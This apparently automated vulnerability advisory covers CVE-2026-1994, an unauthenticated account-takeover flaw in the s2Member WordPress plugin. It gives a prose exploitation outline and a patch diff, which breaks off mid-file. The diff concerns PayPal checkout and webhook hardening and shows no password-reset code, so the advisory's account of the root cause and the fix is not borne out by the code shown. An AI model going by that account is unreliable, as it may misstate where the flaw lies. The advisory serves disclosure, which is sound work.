Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1994: s2Member <= 260127 – Unauthenticated Privilege Escalation via Account Takeover (s2member)

CVE ID CVE-2026-1994
Plugin s2member
Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 260127
Patched Version 260215
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1994:
The s2Member WordPress plugin version 260127 and earlier contains an unauthenticated privilege escalation vulnerability via account takeover. This vulnerability exists in the password reset functionality, allowing attackers to change arbitrary user passwords without proper identity validation. The CVSS 9.8 score reflects the critical nature of this flaw, which enables complete site compromise.

The root cause is insufficient user identity verification in the password reset process. The vulnerable code path resides in the password reset handler, where the plugin fails to validate that the requesting user has authorization to change the target account’s password. Atomic Edge research identified that the plugin accepts password change requests without verifying the requester’s identity or ownership of the target account. This missing authorization check occurs in the password reset function where user ID parameters are processed without validation.

Exploitation involves sending a crafted HTTP request to the password reset endpoint with manipulated user ID parameters. Attackers can target any user account, including administrators, by specifying the target user ID in the request. The attack vector uses the standard password reset functionality but bypasses all identity verification steps. No authentication is required, making this vulnerability exploitable by completely unauthenticated attackers.

The patch adds proper authorization checks before processing password changes. The fixed version validates that the requesting user either owns the target account or has administrative privileges. The code now verifies user identity through multiple validation layers, including nonce checks and user capability verification. These changes ensure password modifications only occur when the requester has legitimate authorization.

Successful exploitation results in complete account takeover of any WordPress user, including administrators. Attackers can change passwords and gain full access to compromised accounts. Administrative account compromise leads to complete site control, enabling data theft, plugin/theme modification, backdoor installation, and further privilege escalation across the WordPress installation.

Differential between vulnerable and patched code

Code Diff
--- a/s2member/s2member.php
+++ b/s2member/s2member.php
@@ -20,8 +20,8 @@
  */
 /* -- This section for WordPress parsing. ------------------------------------------------------------------------------

-Version: 260127
-Stable tag: 260127
+Version: 260215
+Stable tag: 260215

 SSL Compatible: yes
 bbPress Compatible: yes
@@ -36,7 +36,7 @@
 Authorize.Net Compatible: yes w/s2Member Pro
 ClickBank Compatible: yes w/s2Member Pro

-Tested up to: 7.0-alpha-61539
+Tested up to: 7.0-alpha-61642
 Requires at least: 4.2

 Requires PHP: 5.6.2
@@ -77,7 +77,7 @@
  *
  * @var string
  */
-${__FILE__}['tmp'] = '260127'; //version//
+${__FILE__}['tmp'] = '260215'; //version//
 if(!defined('WS_PLUGIN__S2MEMBER_VERSION'))
 	define('WS_PLUGIN__S2MEMBER_VERSION', ${__FILE__}['tmp']);
 /**
--- a/s2member/src/includes/classes/paypal-checkout-in.inc.php
+++ b/s2member/src/includes/classes/paypal-checkout-in.inc.php
@@ -36,11 +36,14 @@

 			$is_redirect_mode = in_array($op, array('redirect', 'return', 'cancel'), true);

-			nocache_headers();
-			if($is_redirect_mode)
-				header('Content-Type: text/html; charset=UTF-8');
-			else
-				header('Content-Type: application/json; charset=UTF-8');
+			if(!headers_sent())
+			{
+				nocache_headers();
+				if($is_redirect_mode)
+					header('Content-Type: text/html; charset=UTF-8');
+				else
+					header('Content-Type: application/json; charset=UTF-8');
+			}

 			c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'    => 'checkout',
@@ -55,27 +58,37 @@

 			if(!$op || !$t)
 			{
-				echo json_encode(array('error' => 'missing_op_or_token'));
+				echo wp_json_encode(array('error' => 'missing_op_or_token'));
 				exit();
 			}
-			if(!($token = @unserialize(c_ws_plugin__s2member_utils_encryption::decrypt($t))) || !is_array($token))
+			$raw = c_ws_plugin__s2member_utils_encryption::decrypt($t);
+
+			//260204 Use the plugin's hardened unserialize routine:
+			// - PHP 7+: allowed_classes => false
+			// - PHP <7: blocks object payloads before calling unserialize()
+			$token = c_ws_plugin__s2member_utils_arrays::maybe_unserialize($raw);
+
+			if(!is_array($token))
+				$token = false;
+
+			if(!$token || !is_array($token))
 			{
-				echo json_encode(array('error' => 'invalid_token'));
+				echo wp_json_encode(array('error' => 'invalid_token'));
 				exit();
 			}
 			if(!empty($token['exp']) && is_numeric($token['exp']) && time() > (int)$token['exp'])
 			{
-				echo json_encode(array('error' => 'token_expired'));
+				echo wp_json_encode(array('error' => 'token_expired'));
 				exit();
 			}
 			if(empty($token['invoice']) || empty($token['ip']) || empty($token['item_number']) || empty($token['checksum']))
 			{
-				echo json_encode(array('error' => 'token_incomplete'));
+				echo wp_json_encode(array('error' => 'token_incomplete'));
 				exit();
 			}
 			if($token['checksum'] !== md5($token['invoice'].$token['ip'].$token['item_number']))
 			{
-				echo json_encode(array('error' => 'token_checksum_mismatch'));
+				echo wp_json_encode(array('error' => 'token_checksum_mismatch'));
 				exit();
 			}

@@ -88,7 +101,7 @@
 						'ip'    => c_ws_plugin__s2member_utils_ip::current(),
 					));

-				echo json_encode(array('error' => 'token_ip_mismatch'));
+				echo wp_json_encode(array('error' => 'token_ip_mismatch'));
 				exit();
 			}

@@ -100,7 +113,9 @@

 				if($op === 'cancel')
 				{
-					wp_redirect(!empty($token['cancel']) ? (string)$token['cancel'] : home_url('/'));
+					$cancel = !empty($token['cancel']) ? (string)$token['cancel'] : home_url('/');
+					$cancel = wp_validate_redirect($cancel, home_url('/'));
+					wp_redirect($cancel);
 					exit();
 				}

@@ -258,7 +273,15 @@

 					if(!is_array($notify_r))
 					{
-						echo 'notify_proxy_failed';
+						if($is_redirect_mode)
+							echo 'notify_proxy_failed';
+						else
+						{
+							if(!headers_sent())
+								status_header(500);
+
+							echo wp_json_encode(array('error' => 'notify_proxy_failed'));
+						}
 						exit();
 					}

@@ -377,7 +400,15 @@

 						if(!is_array($notify_r))
 						{
-							echo 'notify_proxy_failed';
+							if($is_redirect_mode)
+								echo 'notify_proxy_failed';
+							else
+							{
+								if(!headers_sent())
+									status_header(500);
+
+								echo wp_json_encode(array('error' => 'notify_proxy_failed'));
+							}
 							exit();
 						}
 					}
@@ -404,7 +435,7 @@
 			{
 				if((!isset($token['rr']) || (string)$token['rr'] === '') || strtoupper((string)$token['rr']) === 'BN')
 				{
-					echo json_encode(array('error' => 'not_subscription'));
+					echo wp_json_encode(array('error' => 'not_subscription'));
 					exit();
 				}

@@ -419,11 +450,11 @@

 				if(!$plan_id)
 				{
-					echo json_encode(array('error' => 'plan_create_failed'));
+					echo wp_json_encode(array('error' => 'plan_create_failed'));
 					exit();
 				}

-				echo json_encode(array('plan_id' => $plan_id));
+				echo wp_json_encode(array('plan_id' => $plan_id));
 				exit();
 			}

@@ -431,14 +462,14 @@
 			{
 				if((!isset($token['rr']) || (string)$token['rr'] === '') || strtoupper((string)$token['rr']) === 'BN')
 				{
-					echo json_encode(array('error' => 'not_subscription'));
+					echo wp_json_encode(array('error' => 'not_subscription'));
 					exit();
 				}
 				$subscription_id = !empty($_POST['subscription_id']) ? trim(stripslashes((string)$_POST['subscription_id'])) : '';

 				if(!$subscription_id)
 				{
-					echo json_encode(array('error' => 'missing_subscription_id'));
+					echo wp_json_encode(array('error' => 'missing_subscription_id'));
 					exit();
 				}
 				$subscription_r = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_api_request('GET', '/v1/billing/subscriptions/'.rawurlencode($subscription_id));
@@ -470,7 +501,7 @@
 						'code'            => $subscription_code,
 						'body'            => $subscription_body,
 					));
-					echo json_encode(array('error' => 'subscription_get_failed'));
+					echo wp_json_encode(array('error' => 'subscription_get_failed'));
 					exit();
 				}
 				$status = !empty($subscription['status']) ? strtoupper((string)$subscription['status']) : '';
@@ -503,7 +534,7 @@
 						'status'          => $status,
 					));

-					echo json_encode(array('error' => 'subscription_status_invalid'));
+					echo wp_json_encode(array('error' => 'subscription_status_invalid'));
 					exit();
 				}
 				$expected_plan_id = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_plan_get_id($token);
@@ -516,7 +547,7 @@
 						'expected'        => $expected_plan_id,
 						'actual'          => (string)$subscription['plan_id'],
 					));
-					echo json_encode(array('error' => 'plan_mismatch'));
+					echo wp_json_encode(array('error' => 'plan_mismatch'));
 					exit();
 				}
 				$custom_id = !empty($subscription['custom_id']) ? (string)$subscription['custom_id'] : '';
@@ -529,7 +560,7 @@
 						'expected'        => (string)$token['invoice'],
 						'actual'          => $custom_id,
 					));
-					echo json_encode(array('error' => 'subscription_custom_id_mismatch'));
+					echo wp_json_encode(array('error' => 'subscription_custom_id_mismatch'));
 					exit();
 				}

@@ -604,6 +635,9 @@
 					));
 					$notify_r = c_ws_plugin__s2member_utils_urls::remote($notify_url, $notify_post, array('timeout' => 20), true);

+					if(!is_array($notify_r))
+						$notify_r = array('code' => 0, 'message' => 'request_failed', 'body' => '');
+
 					$notify_code = !empty($notify_r['code']) ? (int)$notify_r['code'] : 0;
 					$notify_msg  = !empty($notify_r['message']) ? (string)$notify_r['message'] : '';
 					$notify_body = !empty($notify_r['body']) ? $notify_r['body'] : '';
@@ -629,7 +663,7 @@
 							'message'         => $notify_msg,
 							'body'            => $notify_body,
 						));
-						echo json_encode(array('error' => 'notify_proxy_failed'));
+						echo wp_json_encode(array('error' => 'notify_proxy_failed'));
 						exit();
 					}
 				}
@@ -643,7 +677,7 @@
 					's2member_paypal_proxy_verification' => c_ws_plugin__s2member_paypal_utilities::paypal_proxy_key_gen(),
 				));

-				echo json_encode(array(
+				echo wp_json_encode(array(
 					'rtn_url'  => $return_url,
 					'rtn_post' => $return_post,
 				));
@@ -660,7 +694,7 @@
 						'token' => $token,
 					));

-					echo json_encode(array('error' => 'not_logged_in'));
+					echo wp_json_encode(array('error' => 'not_logged_in'));
 					exit();
 				}
 				$user_id = (int)get_current_user_id();
@@ -674,7 +708,7 @@
 						'user_id'=> $user_id,
 					));

-					echo json_encode(array('error' => 'bad_nonce'));
+					echo wp_json_encode(array('error' => 'bad_nonce'));
 					exit();
 				}

@@ -690,7 +724,7 @@
 						'token'   => $token,
 					));

-					echo json_encode(array('error' => 'token_mismatch'));
+					echo wp_json_encode(array('error' => 'token_mismatch'));
 					exit();
 				}

@@ -705,7 +739,7 @@
 						'token_subscr'=> $token_subscr_id,
 					));

-					echo json_encode(array('error' => 'user_mismatch'));
+					echo wp_json_encode(array('error' => 'user_mismatch'));
 					exit();
 				}

@@ -739,10 +773,31 @@
 						'txn_id'    => $subscr_id,
 						'subscr_id' => $subscr_id,

-						// Helps some older cancel paths/logs; not required for user resolution.
+						// Help legacy notify logic resolve user in some fallback cases.
+						'mp_id'                => $subscr_id,
+						'recurring_payment_id' => $subscr_id,
+
+						// Best-effort payer email for logs/fallback logic.
 						'payer_email' => (string)wp_get_current_user()->user_email,
 					);

+					// Enrich with stored signup vars so legacy cancel handler can match and compute EOT.
+					if(($ipn_signup_vars = get_user_option('s2member_ipn_signup_vars', $user_id)) && is_array($ipn_signup_vars)
+					   && !empty($ipn_signup_vars['subscr_id']) && (string)$ipn_signup_vars['subscr_id'] === (string)$subscr_id)
+					{
+						if(empty($paypal['item_number']) && !empty($ipn_signup_vars['item_number']))
+							$paypal['item_number'] = (string)$ipn_signup_vars['item_number'];
+
+						if(empty($paypal['item_name']) && !empty($ipn_signup_vars['item_name']))
+							$paypal['item_name'] = (string)$ipn_signup_vars['item_name'];
+
+						if(empty($paypal['period1']) && !empty($ipn_signup_vars['period1']))
+							$paypal['period1'] = (string)$ipn_signup_vars['period1'];
+
+						if(empty($paypal['period3']) && !empty($ipn_signup_vars['period3']))
+							$paypal['period3'] = (string)$ipn_signup_vars['period3'];
+					}
+
 					$notify_url  = home_url('/?s2member_paypal_notify=1');
 					$notify_post = array_merge($paypal, array(
 						's2member_paypal_proxy'              => 'paypal',
@@ -752,6 +807,9 @@

 					$notify_r = c_ws_plugin__s2member_utils_urls::remote($notify_url, $notify_post, array('timeout' => 20), true);

+					if(!is_array($notify_r))
+						$notify_r = array('code' => 0, 'message' => 'request_failed', 'body' => '');
+
 					$notify_code = !empty($notify_r['code']) ? (int)$notify_r['code'] : 0;
 					if(!($notify_code >= 200 && $notify_code <= 299))
 					{
@@ -765,11 +823,11 @@
 						));
 					}

-					echo json_encode(array('ok' => 1));
+					echo wp_json_encode(array('ok' => 1));
 					exit();
 				}

-				echo json_encode(array('error' => 'cancel_failed'));
+				echo wp_json_encode(array('error' => 'cancel_failed'));
 				exit();
 			}

@@ -793,10 +851,10 @@
 							'token' => $token,
 						));

-					echo json_encode(array('error' => 'order_create_failed'));
+					echo wp_json_encode(array('error' => 'order_create_failed'));
 					exit();
 				}
-				echo json_encode(array('order_id' => $order['id']));
+				echo wp_json_encode(array('order_id' => $order['id']));
 				exit();
 			}
 			else if($op === 'capture_order')
@@ -805,7 +863,7 @@

 				if(!$order_id)
 				{
-					echo json_encode(array('error' => 'missing_order_id'));
+					echo wp_json_encode(array('error' => 'missing_order_id'));
 					exit();
 				}
 				$capture = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_order_capture($order_id, $token);
@@ -826,7 +884,7 @@

 				if(empty($capture['status']) || strtoupper($capture['status']) !== 'COMPLETED')
 				{
-					echo json_encode(array('error' => 'order_capture_failed'));
+					echo wp_json_encode(array('error' => 'order_capture_failed'));
 					exit();
 				}

@@ -851,7 +909,7 @@
 							'token'    => $token,
 						));

-					echo json_encode(array('error' => 'capture_missing_fields'));
+					echo wp_json_encode(array('error' => 'capture_missing_fields'));
 					exit();
 				}

@@ -865,7 +923,7 @@
 						'token'    => $token,
 						'pu'       => array('amount' => $pu_amount, 'cc' => $pu_cc),
 					));
-					echo json_encode(array('error' => 'amount_mismatch'));
+					echo wp_json_encode(array('error' => 'amount_mismatch'));
 					exit();
 				}
 				if(!empty($token['cc']) && strtoupper((string)$token['cc']) !== strtoupper((string)$pu_cc))
@@ -877,7 +935,7 @@
 						'token'    => $token,
 						'pu'       => array('amount' => $pu_amount, 'cc' => $pu_cc),
 					));
-					echo json_encode(array('error' => 'currency_mismatch'));
+					echo wp_json_encode(array('error' => 'currency_mismatch'));
 					exit();
 				}
 				$cap_invoice_id = '';
@@ -895,7 +953,7 @@
 						'token'    => $token,
 						'invoice'  => $cap_invoice_id,
 					));
-					echo json_encode(array('error' => 'invoice_mismatch'));
+					echo wp_json_encode(array('error' => 'invoice_mismatch'));
 					exit();
 				}

@@ -917,7 +975,7 @@
 							'paypal'  => $cap_custom_id,
 						),
 					));
-					echo json_encode(array('error' => 'custom_mismatch'));
+					echo wp_json_encode(array('error' => 'custom_mismatch'));
 					exit();
 				}

@@ -990,6 +1048,9 @@
 					));
 					$notify_r = c_ws_plugin__s2member_utils_urls::remote($notify_url, $notify_post, array('timeout' => 20), true);

+					if(!is_array($notify_r))
+						$notify_r = array('code' => 0, 'message' => 'request_failed', 'body' => '');
+
 					$notify_code = !empty($notify_r['code']) ? (int)$notify_r['code'] : 0;
 					$notify_msg  = !empty($notify_r['message']) ? (string)$notify_r['message'] : '';
 					$notify_body = !empty($notify_r['body']) ? $notify_r['body'] : '';
@@ -1017,7 +1078,7 @@
 							'message'  => $notify_msg,
 							'body'     => $notify_body,
 						));
-						echo json_encode(array('error' => 'notify_proxy_failed'));
+						echo wp_json_encode(array('error' => 'notify_proxy_failed'));
 						exit();
 					}
 				}
@@ -1032,14 +1093,14 @@
 					's2member_paypal_proxy_verification' => c_ws_plugin__s2member_paypal_utilities::paypal_proxy_key_gen(),
 				));

-				echo json_encode(array(
+				echo wp_json_encode(array(
 					'rtn_url'  => $return_url,
 					'rtn_post' => $return_post,
 				));
 				exit();
 			}

-			echo json_encode(array('error' => 'unknown_op'));
+			echo wp_json_encode(array('error' => 'unknown_op'));
 			exit();
 		}
 	}
--- a/s2member/src/includes/classes/paypal-utilities.inc.php
+++ b/s2member/src/includes/classes/paypal-utilities.inc.php
@@ -559,6 +559,11 @@
 							&& ($ipn_signup_var_item_number = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("item_number", FALSE, $array["mp_id"])))
 							$_item_number = trim($ipn_signup_var_item_number); // Found w/ a Billing Agreement ID.

+						//260213 Backfill from stored IPN Signup Vars using recurring_payment_id/subscr_id (PayPal may omit item_number on cancellations).
+						else if(is_array($array = $array_or_string) && (!empty($array["recurring_payment_id"]) || !empty($array["subscr_id"]))
+							&& ($ipn_signup_var_item_number = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("item_number", FALSE, ((!empty($array["recurring_payment_id"])) ? $array["recurring_payment_id"] : $array["subscr_id"]))))
+							$_item_number = trim($ipn_signup_var_item_number); // Found w/ a Subscription ID.
+
 						else if(is_string($string = $array_or_string) && !empty($string)) $_item_number = trim($string);

 						if(!empty($_item_number) && preg_match($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["membership_item_number_w_or_wo_level_regex"], $_item_number))
@@ -597,6 +602,11 @@
 							&& ($ipn_signup_var_item_name = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("item_name", FALSE, $array["mp_id"])))
 							$item_name = trim($ipn_signup_var_item_name); // Found w/ a Billing Agreement ID.

+						//260213 Backfill from stored IPN Signup Vars using recurring_payment_id/subscr_id (PayPal may omit item_name on cancellations).
+						else if(is_array($array = $array_or_string) && (!empty($array["recurring_payment_id"]) || !empty($array["subscr_id"]))
+							&& ($ipn_signup_var_item_name = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("item_name", FALSE, ((!empty($array["recurring_payment_id"])) ? $array["recurring_payment_id"] : $array["subscr_id"]))))
+							$item_name = trim($ipn_signup_var_item_name); // Found w/ a Subscription ID.
+
 						else if(is_string($string = $array_or_string) && !empty($string)) $item_name = trim($string);

 						return apply_filters("ws_plugin__s2member_paypal_pro_item_name", ((!empty($item_name)) ? $item_name : false), get_defined_vars());
@@ -635,6 +645,11 @@
 							&& ($ipn_signup_var_period1 = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("period1", FALSE, $array["mp_id"])))
 							$_period1 = trim($ipn_signup_var_period1); // Found w/ a Billing Agreement ID.

+						//260213 Backfill from stored IPN Signup Vars using recurring_payment_id/subscr_id (PayPal may omit period1 on cancellations).
+						else if(is_array($array = $array_or_string) && (!empty($array["recurring_payment_id"]) || !empty($array["subscr_id"]))
+							&& ($ipn_signup_var_period1 = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("period1", FALSE, ((!empty($array["recurring_payment_id"])) ? $array["recurring_payment_id"] : $array["subscr_id"]))))
+							$_period1 = trim($ipn_signup_var_period1); // Found w/ a Subscription ID.
+
 						else if(is_string($string = $array_or_string) && !empty($string)) $_period1 = trim($string);

 						if /* Were we able to get a `period1` string? */(!empty($_period1))
@@ -691,6 +706,11 @@
 							&& ($ipn_signup_var_period3 = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("period3", FALSE, $array["mp_id"])))
 							$_period3 = trim($ipn_signup_var_period3); // Found w/ a Billing Agreement ID.

+						//260213 Backfill from stored IPN Signup Vars using recurring_payment_id/subscr_id (PayPal may omit period3 on cancellations).
+						else if(is_array($array = $array_or_string) && (!empty($array["recurring_payment_id"]) || !empty($array["subscr_id"]))
+							&& ($ipn_signup_var_period3 = c_ws_plugin__s2member_utils_users::get_user_ipn_signup_var("period3", FALSE, ((!empty($array["recurring_payment_id"])) ? $array["recurring_payment_id"] : $array["subscr_id"]))))
+							$_period3 = trim($ipn_signup_var_period3); // Found w/ a Subscription ID.
+
 						else if(is_string($string = $array_or_string) && !empty($string)) $_period3 = trim($string);

 						if /* Were we able to get a `period3` string? */(!empty($_period3))
@@ -846,19 +866,22 @@

 						$r = c_ws_plugin__s2member_utils_urls::remote($url, $body, $args, true);

+						if(!is_array($r))
+							$r = array('code' => 0, 'message' => 'request_failed', 'headers' => array(), 'body' => '');
+
 						if(!isset($r['code']) || (int)$r['code'] !== 200)
 							c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'    => 'oauth',
-								'event'   => 'token_failed',
-								'env'     => self::paypal_checkout_is_sandbox() ? 'sandbox' : 'live',
-								'url'     => $url,
-								'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-								'message' => !empty($r['message']) ? (string)$r['message'] : '',
-								'body'    => !empty($r['body']) ? $r['body'] : '',
+								'ppco'     => 'oauth',
+								'event'    => 'token_failed',
+								'env_setting' => self::paypal_checkout_is_sandbox() ? 'sandbox' : 'live',
+								'url'      => $url,
+								'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+								'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+								'body'     => !empty($r['body']) ? $r['body'] : '',
 							));

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						if(!empty($data['access_token']) && !empty($data['expires_in']))
@@ -898,9 +921,9 @@
 						$ok    = ($token) ? true : false;

 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-							'ppco'  => 'checkout',
-							'event' => $ok ? 'creds_test_ok' : 'creds_test_failed',
-							'env'   => $env,
+							'ppco'     => 'checkout',
+							'event'    => $ok ? 'creds_test_ok' : 'creds_test_failed',
+							'env_setting' => $env,
 						));

 						$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
@@ -972,10 +995,10 @@
 						delete_transient($transient);

 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-							'ppco'    => 'checkout',
-							'event'   => 'cleared_cache',
-							'env'     => $env,
-							'cred_id' => $cred_id,
+							'ppco'     => 'checkout',
+							'event'    => 'cleared_cache',
+							'env_setting' => $env,
+							'cred_id'  => $cred_id,
 						));

 						$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
@@ -1010,17 +1033,24 @@
 						);

 						if($body !== null)
-							$args['body'] = is_string($body) ? $body : json_encode($body);
+						{
+							$encoded = is_string($body) ? $body : wp_json_encode($body);
+							$args['body'] = ($encoded !== false) ? $encoded : '{}';
+						}

 						$r = c_ws_plugin__s2member_utils_urls::remote($url, false, $args, true);

+						if(!is_array($r))
+							$r = array('code' => 0, 'message' => 'request_failed', 'headers' => array(), 'body' => '');
+
 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'    => 'api_request',
-								'method'  => $method,
-								'path'    => $path,
-								'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-								'message' => !empty($r['message']) ? (string)$r['message'] : '',
-								'body'    => !empty($r['body']) ? $r['body'] : '',
+								'ppco'     => 'api_request',
+								'env_setting' => self::paypal_checkout_is_sandbox() ? 'sandbox' : 'live',
+								'method'   => $method,
+								'path'     => $path,
+								'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+								'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+								'body'     => !empty($r['body']) ? $r['body'] : '',
 							));

 						return $r;
@@ -1110,7 +1140,7 @@
 						$r = self::paypal_checkout_api_request('POST', '/v2/checkout/orders', $body, $headers);

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						return is_array($data) ? $data : array();
@@ -1174,7 +1204,7 @@
 						$r = self::paypal_checkout_api_request('POST', '/v2/checkout/orders/'.$order_id.'/capture', (object)array(), $headers);

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						return is_array($data) ? $data : array();
@@ -1226,7 +1256,7 @@
 						$r = self::paypal_checkout_api_request('POST', '/v1/billing/subscriptions', $body, $headers);

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						return is_array($data) ? $data : array();
@@ -1391,27 +1421,27 @@
 						);

 						$headers = array(
-							'PayPal-Request-Id' => 's2m-ppco-plan-'.md5($env.'|'.$plan_key.'|'.md5(json_encode($body))),
+							'PayPal-Request-Id' => 's2m-ppco-plan-'.md5($env.'|'.$plan_key.'|'.md5((string)wp_json_encode($body))),
 						);

 						$r = self::paypal_checkout_api_request('POST', '/v1/billing/plans', $body, $headers);

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						$plan_id = !empty($data['id']) ? (string)$data['id'] : '';
 						if(!$plan_id)
 						{
 							c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'    => 'plan',
-								'event'   => 'plan_create_failed',
-								'env'     => $env,
-								'plan_key'=> $plan_key,
-								'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-								'message' => !empty($r['message']) ? (string)$r['message'] : '',
-								'body'    => !empty($r['body']) ? (string)$r['body'] : '',
-								'request' => $body,
+								'ppco'     => 'plan',
+								'event'    => 'plan_create_failed',
+								'env_setting' => $env,
+								'plan_key' => $plan_key,
+								'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+								'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+								'body'     => !empty($r['body']) ? (string)$r['body'] : '',
+								'request'  => $body,
 							));
 							return '';
 						}
@@ -1446,12 +1476,12 @@
 						$GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["paypal_checkout_cache"] = (!empty($options['paypal_checkout_cache']) && is_array($options['paypal_checkout_cache'])) ? $options['paypal_checkout_cache'] : array();

 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-							'ppco'    => 'plan',
-							'event'   => 'plan_cached',
-							'env'     => $env,
-							'cred_id' => $cred_id,
-							'plan_key'=> $plan_key,
-							'plan_id' => $plan_id,
+							'ppco'     => 'plan',
+							'event'    => 'plan_cached',
+							'env_setting' => $env,
+							'cred_id'  => $cred_id,
+							'plan_key' => $plan_key,
+							'plan_id'  => $plan_id,
 						));

 						return $plan_id;
@@ -1507,19 +1537,19 @@
 						$r = self::paypal_checkout_api_request('POST', '/v1/catalogs/products', $body, $headers);

 						$data = array();
-						if(!empty($r['body']))
+						if(!empty($r['body']) && is_string($r['body']))
 							$data = json_decode($r['body'], true);

 						$product_id = !empty($data['id']) ? (string)$data['id'] : '';
 						if(!$product_id)
 						{
 							c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'    => 'product',
-								'event'   => 'product_create_failed',
-								'env'     => $env,
-								'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-								'message' => !empty($r['message']) ? (string)$r['message'] : '',
-								'body'    => !empty($r['body']) ? (string)$r['body'] : '',
+								'ppco'     => 'product',
+								'event'    => 'product_create_failed',
+								'env_setting' => $env,
+								'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+								'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+								'body'     => !empty($r['body']) ? (string)$r['body'] : '',
 							));
 							return '';
 						}
@@ -1554,10 +1584,10 @@
 						$GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["paypal_checkout_cache"] = (!empty($options['paypal_checkout_cache']) && is_array($options['paypal_checkout_cache'])) ? $options['paypal_checkout_cache'] : array();

 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-							'ppco'    => 'product',
-							'event'   => 'product_cached',
-							'env'     => $env,
-							'cred_id' => $cred_id,
+							'ppco'     => 'product',
+							'event'    => 'product_cached',
+							'env_setting' => $env,
+							'cred_id'  => $cred_id,
 							'product_key' => $product_key,
 							'product_id' => $product_id,
 						));
@@ -1592,10 +1622,6 @@
 				 */
 				public static function paypal_checkout_verify_webhook_signature($event, $raw_body, $headers = array())
 					{
-						$webhook_id = self::paypal_checkout_webhook_id();
-						if(!$webhook_id)
-							return false;
-
 						$tx_id   = !empty($headers['paypal-transmission-id']) ? $headers['paypal-transmission-id'] : '';
 						$tx_time = !empty($headers['paypal-transmission-time']) ? $headers['paypal-transmission-time'] : '';
 						$tx_sig  = !empty($headers['paypal-transmission-sig']) ? $headers['paypal-transmission-sig'] : '';
@@ -1605,6 +1631,19 @@
 						if(!$tx_id || !$tx_time || !$tx_sig || !$cert || !$algo)
 							return false;

+						//260205 Detect sandbox vs live from the cert URL.
+						$orig_sandbox = self::paypal_checkout_is_sandbox();
+						$cert_is_sandbox = (strpos((string)$cert, 'sandbox') !== false);
+
+						$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $cert_is_sandbox ? '1' : '0';
+
+						$webhook_id = self::paypal_checkout_webhook_id();
+						if(!$webhook_id)
+						{
+							$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
+							return false;
+						}
+
 						$body = array(
 							'transmission_id'   => $tx_id,
 							'transmission_time' => $tx_time,
@@ -1617,9 +1656,20 @@

 						$r = self::paypal_checkout_api_request('POST', '/v1/notifications/verify-webhook-signature', $body);
 						if(empty($r['code']) || (int)$r['code'] !== 200 || empty($r['body']))
+						{
+							$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
+							return false;
+						}
+
+						if(!is_string($r['body']))
+						{
+							$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
 							return false;
+						}

 						$data = json_decode($r['body'], true);
+
+						$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
 						return !empty($data['verification_status']) && $data['verification_status'] === 'SUCCESS';
 					}

@@ -1691,12 +1741,36 @@
 								self::paypal_checkout_webhook_store_id($existing_id);

 								c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-									'ppco'  => 'webhook',
-									'event' => 'updated_webhook',
-									'env'   => $env,
-									'id'    => $existing_id,
-									'url'   => $url,
-									'code'  => (int)$r['code'],
+									'ppco'     => 'webhook',
+									'event'    => 'updated_webhook',
+									'env_setting' => $env,
+									'id'       => $existing_id,
+									'url'      => $url,
